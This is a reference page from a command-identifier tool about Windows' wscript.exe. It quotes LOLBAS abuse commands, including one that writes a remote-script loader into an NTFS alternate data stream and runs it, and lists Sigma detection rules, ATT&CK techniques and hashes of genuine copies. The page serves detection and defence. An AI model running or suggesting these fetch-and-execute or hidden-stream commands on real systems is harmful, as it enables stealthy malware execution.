Ceplin Command Identifier

Identifier / Programs / Windows

wscript.exe

Applies to: Windows Server (All supported versions) Windows commands reference

LOLBAS ADS 63 Sigma rules name it 3 ATT&CK techniques 2 documented commands 14 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How wscript.exe is abused

documented by LOLBAS

ADS T1564.004 Hide Artifacts: NTFS File Attributes

ADS T1564.004 Hide Artifacts: NTFS File Attributes

Run by echo.exe

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wscript.exe.

2 documented commands

from LOLBAS, each read by the identifier

ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges

Execute script stored in an alternate data stream

wscript //e:vbscript {PATH}:script.vbs
Identify

Trips 1 Sigma rule: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag

ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges

Download and execute script stored in an alternate data stream

echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js
Identify

Trips 2 Sigma rules: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag; lowCMD Shell Output Redirect by frack113

All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for wscript.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wscript.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highCscript/Wscript Uncommon Script Extension ExecutionNasreddine Bencherchali (Nextron Systems)
mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/WscriptMichael Haag
mediumPotential Dropper Script Execution Via WScript/CScript/MSHTAMargaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community, Nasreddine Bencherchali (Nextron Systems), Dave Johnson
criticalPotential QBot ActivityFlorian Roth (Nextron Systems)
criticalSticky Key Like Backdoor ExecutionFlorian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community
highPotential CVE-2023-21554 QueueJumper ExploitationNasreddine Bencherchali (Nextron Systems)
highCVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child ProcessNasreddine Bencherchali (Nextron Systems), Andreas Braathen (mnemonic.io)
highPotential Suspicious Child Process Of 3CXDesktopAppNasreddine Bencherchali (Nextron Systems)
highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)
highPotential Exploitation of CrushFTP RCE Vulnerability (CVE-2025-54309)Nisarg Suthar
highWindows Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
highSuspicious ArcSOC.exe Child ProcessMicah Babinski
highSuspicious BitLocker Access Agent Update Utility Executionandrewdanis, Swachchhanda Shrawan Poudel (Nextron Systems)
highSuspicious Child Process Of BgInfo.EXENasreddine Bencherchali (Nextron Systems)
highPotentially Suspicious Child Processes Spawned by ConHostSwachchhanda Shrawan Poudel (Nextron Systems)
highSuspicious Child Process of Notepad++ Updater - GUP.ExeSwachchhanda Shrawan Poudel (Nextron Systems)
highHTML Help HH.EXE Suspicious Child ProcessMaxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)
highSuspicious Shells Spawn by Java Utility KeytoolAndreas Hunkeler (@Karneades)
highSuspicious Child Process Of Manage Engine ServiceDeskFlorian Roth (Nextron Systems)
highSuspicious Processes Spawned by Java.EXEAndreas Hunkeler (@Karneades), Florian Roth
highPotential Manage-bde.wsf Abuse To Proxy Executionoscd.community, Natalia Shornikova, Nasreddine Bencherchali (Nextron Systems)
highMMC Spawning Windows ShellKarneades, Swisscom CSIRT
highSuspicious MSHTA Child ProcessMichael Haag
highOneNote.EXE Execution of Malicious Embedded Scripts@kostastsale
highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)
highSuspicious Outlook Child ProcessMichael Haag, Florian Roth (Nextron Systems), Markus Neis, Elastic, FPT.EagleEye Team
highSuspicious Microsoft Office Child ProcessFlorian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io
highSuspicious Provlaunch.EXE Child ProcessNasreddine Bencherchali (Nextron Systems)
highPotentially Suspicious Child Process Of Regsvr32elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
highPotential Defense Evasion Via Rename Of Highly Relevant BinariesMatthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113

And 33 more rules that name wscript.exe.

T1059.005Command and Scripting Interpreter: Visual Basic
T1059.007Command and Scripting Interpreter: JavaScript
T1564.004Hide Artifacts: NTFS File Attributes

Is it the real wscript.exe?

file version info and known copies
Installed inC:\Windows\system32\
C:\Windows\SysWOW64\
Signed byMicrosoft Windows
ProductMicrosoft Windows Script Host, Microsoft Corporation
DescriptionMicrosoft Windows Based Script Host

14 known copies

5.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows

0fbb4f848d9fb14d7bf81b0454203810869c527c3435e8747a2213dd86f8129a

5.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows

2548884526e8fbc5781f5b3b2972e9b20cc16dd86bde93d2e888023f6919f5a2

5.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows

34008e2057df8842df210246995385a0441dc1e081d60ad15bd481e062e7f100

5.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows

391d47d21304f8f97254a6537aa65476609fc222ad0ad86e7008419d61735a9c

5.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows

47cacd60d91441137d055184614b1a418c0457992977857a76ca05c75bbc1b56

5.812.10240.16384 · C:\WINDOWS\SysWOW64\wscript.exe · signed by Microsoft Windows

7d92ed1f65bb5afe9fbde8349e3bd55ec207a476c795a583a15a7a05c8320709

5.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows

8c767077bb410f95b1db237b31f4f6e1512c78c1f0120de3f215b501f6d1c7ea

5.812.10240.16384 · C:\WINDOWS\system32\wscript.exe · signed by Microsoft Windows

a3dedca6ae9799c3e32b8a60bb11821f5f96cbc9a465806c4478c5d43754cea1

5.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows

ce9f70e104c07d92fc05fbd6000839fd6a87ff010e706396f87dd679244ed97b

5.812.10240.16384 · C:\WINDOWS\system32\wscript.exe · signed by Microsoft Windows

f42201b5d890a96302f90102b16d7c31cfcc3b67c801ba7c6f6be223f16d7011

5.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows

f451827d9d32c792c821ef0b89febf002d29004605b20caace53467ec01d2fac

5.812.10240.16384 · C:\WINDOWS\SysWOW64\wscript.exe · signed by Microsoft Windows

f564a6ab15e2f510a7ec0a30388320936dbd3b2c032121e8185fcd3ce9dbbef6

5.8.9600.16384 · C:\windows\SysWOW64\wscript.exe · not signed

88f2ff85bb0eb9420e2cf5877687a7053e069f9da4c8355c093e0283dc8f000e

5.8.9600.16384 · C:\windows\system32\wscript.exe · not signed

e479c6e8891cebe2b24f319de83a003d7be73e93bae5aabb5ba3d6b914ff8135

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Set cscript (CLI) or wscript (GUI) as the default interpreter to run Windows Script Host programs

wscript //h:cscriptIdentify

Run a script

wscript path\to\script.vbsIdentify

Trips 1 Sigma rule: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag

Run script in the interactive or batch mode (enable or suppress alerts, prompts, and scripting errors)

wscript //i path\to\script.vbsIdentify

Trips 1 Sigma rule: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag

Of the 3 examples the identifier reads, 2 match LOLBAS abuse or trip a Sigma process-creation rule.

Options

12 in Windows commands reference
Show every option of wscript.exe
/bSpecifies batch mode, which doesn't display alerts, scripting errors, or input prompts.
/dStarts the debugger.
/eSpecifies the engine that is used to run the script.
/hRegisters cscript.exe as the default script host for running scripts.
/iSpecifies interactive mode, which displays alerts, scripting errors, and input prompts.The /i parameter is the default and the opposite of /b.
/jobRuns the job identified by *identifier* in a .wsf script file.
/logoSpecifies that the Windows Script Host banner is displayed in the console before the script runs.The /logo parameter is the default and the opposite of /nologo.
/nologoSpecifies that the Windows Script Host banner isn't displayed before the script runs.
/sSaves the current command prompt options for the current user.
/tSpecifies the maximum time the script can run (in seconds).
/xStarts the script in the debugger.
/?Displays Help at the command prompt.

Other programs abused for ADS

bitsadmin.exe · certutil.exe · cmd.exe · control.exe · cscript.exe · diantz.exe · esentutl.exe · expand.exe · extrac32.exe · findstr.exe · forfiles.exe · makecab.exe · mavinject.exe · mpcmdrun.exe · mshta.exe · msxsl.exe